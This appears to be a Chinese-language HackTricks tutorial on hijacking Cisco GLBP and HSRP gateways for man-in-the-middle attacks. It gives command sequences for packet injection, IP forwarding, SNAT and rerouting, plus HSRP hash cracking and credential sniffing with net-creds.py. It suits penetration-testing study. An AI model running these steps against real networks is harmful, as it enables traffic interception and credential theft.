7.2 KiB
GLBP & HSRP 攻击
从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
- 如果您想看到您的公司在 HackTricks 中做广告或下载 PDF 版的 HackTricks,请查看订阅计划!
- 获取官方 PEASS & HackTricks 商品
- 探索PEASS 家族,我们的独家NFT收藏品
- 加入 💬 Discord 群组 或 电报群组 或在 Twitter 🐦 @hacktricks_live** 上**关注我们。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。
FHRP 劫持概述
理解 FHRP
首跳冗余协议(FHRP)是一种协议套件,通过将多个物理路由器组合成单个虚拟实体来确保网络的弹性。这增强了负载分配和容错能力。思科系统引入了两个著名的 FHRP 协议:GLBP 和 HSRP。
GLBP 协议详情
由思科开发的 GLBP(网关负载平衡协议)在 TCP/IP 协议栈之上运行,使用 UDP 在端口 3222 上进行通信。GLBP 组内的路由器每 3 秒发送一次“hello”数据包。如果 10 秒内没有收到来自路由器的这些数据包,则表示路由器故障。但是,这些计时器设置是可调整的。
GLBP 运行和负载平衡
GLBP 通过使用单个虚拟 IP 和各种虚拟 MAC 地址在多个路由器之间实现负载共享。组内的每个路由器都参与转发数据包。GLBP 通过提供真正的负载平衡与 HSRP/VRRP 不同,包括:
- 主机相关性: 确保主机接收相同的 AVF MAC 地址,保留 NAT 配置。
- 轮询: 默认模式,AVF MAC 地址交替分配。
- 基于权重的轮询: 根据预定义的“权重”指标平衡负载。
GLBP 域角色和术语
- AVG(活动虚拟网关): 主要路由器,向其他路由器分配 MAC 地址。
- AVF(活动虚拟转发器): 处理网络流量的路由器。
- GLBP 优先级: 决定 AVG,默认为 100,范围为 1 到 255。
- GLBP 权重: 指示路由器的负载级别,可手动调整或通过对象跟踪调整。
- GLBP 虚拟 IP 地址: 作为连接设备的默认网关。
GLBP 使用保留的组播地址 224.0.0.102 和 UDP 端口 3222 进行通信。每 3 秒发送一次“hello”数据包,如果在 10 秒内未收到数据包,则将路由器标记为“死亡”。
GLBP 攻击机制
攻击者可以通过发送优先级值最高(255)的 GLBP 数据包成为主要路由器。这可能导致 DoS 或 MITM 攻击,允许拦截或重定向流量。
使用 Loki 执行 GLBP 攻击
Loki 可以通过注入优先级和权重设置为 255 的数据包执行 GLBP 攻击。攻击前的步骤包括使用诸如 Wireshark 等工具收集虚拟 IP 地址、认证存在和路由器优先级值等信息。
攻击步骤:
- 切换到混杂模式并启用 IP 转发。
- 确定目标路由器并检索其 IP。
- 生成一个恶意的 Gratuitous ARP。
- 注入一个恶意的 GLBP 数据包,冒充 AVG。
- 为攻击者的网络接口分配一个次要 IP 地址,镜像 GLBP 虚拟 IP。
- 实施 SNAT 以完全可见流量。
- 调整路由以确保通过原始 AVG 路由器继续访问互联网。
通过遵循这些步骤,攻击者将自己定位为“中间人”,能够拦截和分析网络流量,包括未加密或敏感数据。
以下是执行所需命令片段的演示:
# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
使用net-creds.py或类似工具来监视和拦截流量,以捕获和分析通过受损网络流动的数据。
HSRP劫持的被动解释及命令详细信息
HSRP(热备份路由器/冗余协议)概述
HSRP是思科专有协议,旨在实现网络网关冗余。它允许将多个物理路由器配置为单个逻辑单元,共享一个IP地址。这个逻辑单元由主路由器管理,负责流量导向。与GLBP不同,GLBP使用优先级和权重等指标进行负载平衡,HSRP依赖于单个活动路由器进行流量管理。
HSRP中的角色和术语
- HSRP活动路由器:充当网关的设备,管理流量流向。
- HSRP备用路由器:备用路由器,准备在活动路由器故障时接管。
- HSRP组:一组路由器合作形成一个弹性的虚拟路由器。
- HSRP MAC地址:分配给HSRP设置中逻辑路由器的虚拟MAC地址。
- HSRP虚拟IP地址:HSRP组的虚拟IP地址,充当连接设备的默认网关。
HSRP版本
HSRP有两个版本,HSRPv1和HSRPv2,主要区别在于组容量、多播IP使用和虚拟MAC地址结构。该协议利用特定的多播IP地址进行服务信息交换,每3秒发送一次Hello数据包。如果在10秒内未收到数据包,则假定路由器处于非活动状态。
HSRP攻击机制
HSRP攻击涉及通过注入最大优先级值强制接管活动路由器的角色。这可能导致中间人攻击。攻击前的基本步骤包括收集有关HSRP设置的数据,可以使用Wireshark进行流量分析。
绕过HSRP身份验证的步骤
- 将包含HSRP数据的网络流量保存为.pcap文件。
tcpdump -w hsrp_traffic.pcap
- 使用hsrp2john.py从.pcap文件中提取MD5哈希。
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
- 使用John the Ripper破解MD5哈希。
john --wordlist=mywordlist.txt hsrp_hashes
使用Loki执行HSRP注入
- 启动Loki以识别HSRP广告。
- 将网络接口设置为混杂模式并启用IP转发。
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
- 使用Loki针对特定路由器,输入破解的HSRP密码,并执行必要的配置以冒充活动路由器。
- 获得活动路由器角色后,配置您的网络接口和IP表以拦截合法流量。
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
- 修改路由表以通过先前的活动路由器路由流量。
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
- 使用net-creds.py或类似实用程序从拦截的流量中捕获凭据。
sudo python2 net-creds.py -i eth0
执行这些步骤将使攻击者能够拦截和操纵流量,类似于GLBP劫持的过程。这突显了像HSRP这样的冗余协议的漏洞以及对强大安全措施的需求。